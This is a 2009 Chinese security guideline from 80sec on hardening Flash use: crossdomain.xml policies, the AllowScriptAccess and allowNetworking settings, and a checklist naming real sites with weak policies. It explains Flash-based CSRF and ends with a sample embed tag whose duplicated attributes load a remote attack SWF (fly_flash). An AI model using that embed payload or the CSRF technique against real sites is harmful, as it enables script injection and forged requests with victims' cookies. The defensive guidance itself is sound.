Flash應用安全規範
Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2009-07-25
From: http://www.80sec.com/release/flash-security.txt
[ 目錄 ]
0×00 前言
0×01 安全的服務端flash安全策略
0×02 安全的客戶端flash安全規範
0×03 flash安全的checklist
0×00 前言
flash作為一款瀏覽器的第三方外掛，是對瀏覽器功能的延伸，已經是web必不可少的元素。但是這種延伸必然帶來不安全的因素，相比於安全性已經得到磨練的瀏覽器來說，flash絕對是客戶端安全的一個軟肋（包括在比較神祕的漏洞挖掘領域，也是這個觀點），同樣flash在頁面展示時所含有的豐富功能，在某些情況下你甚至可以認為它等同於javascript，甚至更為危險。瀏覽器所貫徹的域安全策略被flash所打破，客戶端所做的種種過濾也同樣被flash所打破（只要你還使用flash）。但是flash也已經感覺到了這個問題，並且時時在改進，在設計上也引入了一些比較好的安全機制，恰當的使用這些安全機制可以避免你的應用程式遭到攻擊。80sec將從實際的一些經驗總結出一些供參考的flash使用規範，規範將從服務端應用程式的安全設計和客戶端的flash安全使用兩個角度來說明這個問題。
0×01 安全的服務端flash安全策略
應用程式安全設計的時候應該秉承最小化原則，在flash的大部分應用中，由於功能需求就經常需要跨域獲取資料。域安全是瀏覽器安全的基本策略，flash作為瀏覽器的擴充套件允許跨域獲取資料就從根本上打破了瀏覽器的安全性。flash以flash檔案儲存域名作為它的當前域，如果需要獲取其他伺服器上的資料就會發生跨域行為，而且該跨域行為會繼承使用者瀏覽器裡的認證資訊，限制不嚴格時將導致安全漏洞，打破我們的整個客戶端安全模型。flash在跨域時唯一的限制策略就是crossdomain.xml檔案，該檔案限制了flash是否可以跨域獲取資料以及允許從什麼地方跨域獲取資料。通過嚴格控制該策略檔案我們就可以為應用程式安全和功能上尋找到一個平衡點。
典型的crossdomain.xml檔案策略
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.80sec.com" />
</cross-domain-policy>
其中最主要的策略是allow-access-from表示允許來自哪些域的跨域請求，早期的flash允許從其他位置載入自定義的策略檔案，目前最新版的flash在接受自定義的策略檔案之前會去檢查主目錄的crossdomain.xml來判斷是否接受自定義策略檔案。該選項由
<site-control permitted-cross-domain-policies="by-content-type"/>
節點控制，不加該選項時，預設情況下flash不載入除主策略檔案之外的其他策略檔案，即只接受根目錄裡的/crossdomain.xml。這對於防止利用上傳檔案來定義自己策略檔案的攻擊非常有效。為了在某些條件下需要啟用其他策略檔案，我們需要設定permitted-cross-domain-policies，設定為by-content-type時將會只允許http頭為text/x-cross-domain-policy的策略檔案，當為all時則允許所有的text/xml等格式的策略檔案。
應用程式在設計的時候按照最小化原則
1 將檔案上傳和應用的域名分開，防止通過上傳flash檔案直接獲得域操作的許可權。
2 對於不需要使用flash的應用嚴禁在域名目錄下部署flash策略檔案。
3 對於有功能需求的應用遵循最小化原則將域名限制到最小的範圍，有安全需求的應用應該明確允許跨域請求的域，禁止直接使用*萬用字元，這將導致跨域訪問許可權的擴散。
譬如http://sns.80sec.com/crossdomain.xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.80sec.com" />
</cross-domain-policy>
就對許可權設定過泛，可能導致其他安全策略的繞過（如繞過csrf等等）
4 對於有高安全需求的應用，在限制域名的前提下，將需要被flash訪問的應用限制到指定目錄，並且在flash內指定策略檔案到該目錄以將所有訪問許可權限制到單一目錄。
如果login.80sec.com中的某個功能如login需要對所有域名開放，如果配置根目錄crossdomain.xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
不是一個好的策略因為他不只會開放login同時會開放如chgpassword等其他的服務給使用者，我們需要配置主策略檔案
<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>
然後自定義策略檔案到一個目錄如/flash/crossdomain.xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
並且將login應用部署到/flash/目錄，使用者的訪問將被限制到/flash/下面，無法對其他功能進行操作。
0×02 安全的客戶端flash安全規範
控制好flash安全策略並不是安全的全部，這樣只能保證服務端的安全。由於一些功能上的原因，譬如為了追求良好的使用者體驗，為了讓無聊的使用者可以在頁面共享各種flash，為了把頁面做得華麗麗的，我們往往需要在頁面內容裡嵌入flash，這個時候安全性就會被拋到一邊（我們還是建議如果不需要的話還是少用這種動態的東西）。我們在一個頁面引入一個flash時，一般的做法是下面這種形式：
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"
name="Main" width="1000" height="600" align="middle" id="Main">
<embed flashvars="site=&sitename=" src=`Loading.swf?user=453156346&key=df57546b-c68c-4fd7-9f9c-2d105905f132&v=10950&rand=633927610302991250` width="1000" height="600"
align="middle" quality="high" name="Main" allowscriptaccess="sameDomain" type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>
由於flash的強大，並且在頁面元素裡基本等同於script這種危險的標籤，對於這點，flash已經有所考慮，在引入flash的時候flash提供了控制屬性，其中與安全最為關鍵的是AllowScriptAccess屬性和allowNetworking屬性。其中AllowScriptAccess控制flash與html頁面的通訊，可選的值有：
always //對與html的通訊也就是執行javascript不做任何限制
sameDomain //只允許來自於本域的flash與html通訊，這是預設值
never //絕對禁止flash與頁面的通訊
預設情況下的選項是sameDomain，這個時候某些場景下看起來也是足夠安全了，但是我們還是能看到經常有程式允許將這個選項設定為always，而即使是sameDomain也不是在所有場景下都安全的，考慮如論壇這樣的程式，上傳和展現都是在同一個域的情況下，就不存在任何安全性可言了，我們強烈建議該選項為never，如果你選擇sameDomain或者always我也希望你清楚自己在做什麼。
allowNetworking控制flash與外部的網路通訊，可選的值包括：
all //允許使用所有的網路通訊，也是預設值
internal //flash不能與瀏覽器通訊如navigateToURL，但是可以呼叫其他的API
none //禁止任何的網路通訊
但是最近更新的flash客戶端貌似是隻要AllowScriptAccess被設定那麼包括navigateToURL都不能使用，在官方文件上也只看到簡簡單單的一句道歉，但是這樣的確從某些程度上提高了嵌入flash的安全性。但是即使不跳轉，我們還是能做很多事情，當我們將flash直接嵌入到頁面又沒有設定allowNetworking時，我們就可以做csrf之類猥瑣的事情，更要命的是這種形式的csrf支援POST請求，referer來源為swf檔案所在地址或者為空，同時傳送所有cookie而不像圖片那些只能傳送session
cookie，而且基本沒有任何的痕跡，基本秒殺那些沒有做token保護的csrf防範了，之前的開心網犯的就是這個錯誤，我們強烈建議該選項為none，如果你不選擇這個建議你也要清楚自己在做什麼。
0×03 flash安全的checklist
1 檢查自己的網站的根目錄的crossdomain.xml
好孩子：
http://mail.google.com/crossdomain.xml
http://youa.baidu.com/crossdomain.xml
http://www.adobe.com/crossdomain.xml
壞孩子：
http://www.youku.com/crossdomain.xml
http://www.renren.com/crossdomain.xml
http://www.taobao.com/crossdomain.xml
我承認所有的利用都離不開場景，有的時候如果實在沒有辦法修改這個crossdomain.xml（這個情況的確存在，譬如某些變態功能的需要），那麼就可以考慮在應用程式獲取資料時對提交的資料做校驗，譬如當請求的頭裡包括x-flash-version時，就可以判定來源是flash而不予響應，但這的確不是一種優美的解決辦法。
2 檢查自己網站引入flash的程式碼
有AllowScriptAccess和allowNetworking麼？如果沒有，那是不是我這個應用設計已經很安全足夠抵禦各種攻擊了?
如果想針對安全問題做測試，fly_flash是方便的攻擊客戶端的好夥伴（參見開心網蠕蟲），如果想針對第一種錯誤的策略檔案突破csrf等做測試就還得自己寫原始碼了。另外，良好的設計的最大敵人就是壞的實現，原因也是各個程式之間天然的心之壁壘，猜猜
<embed allowscriptaccess="always" allowscriptaccess="never" height=384 width=454 src=http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&x.swf wmode="transparent" loop="false" autostart="false">
這段程式碼的結果是什麼?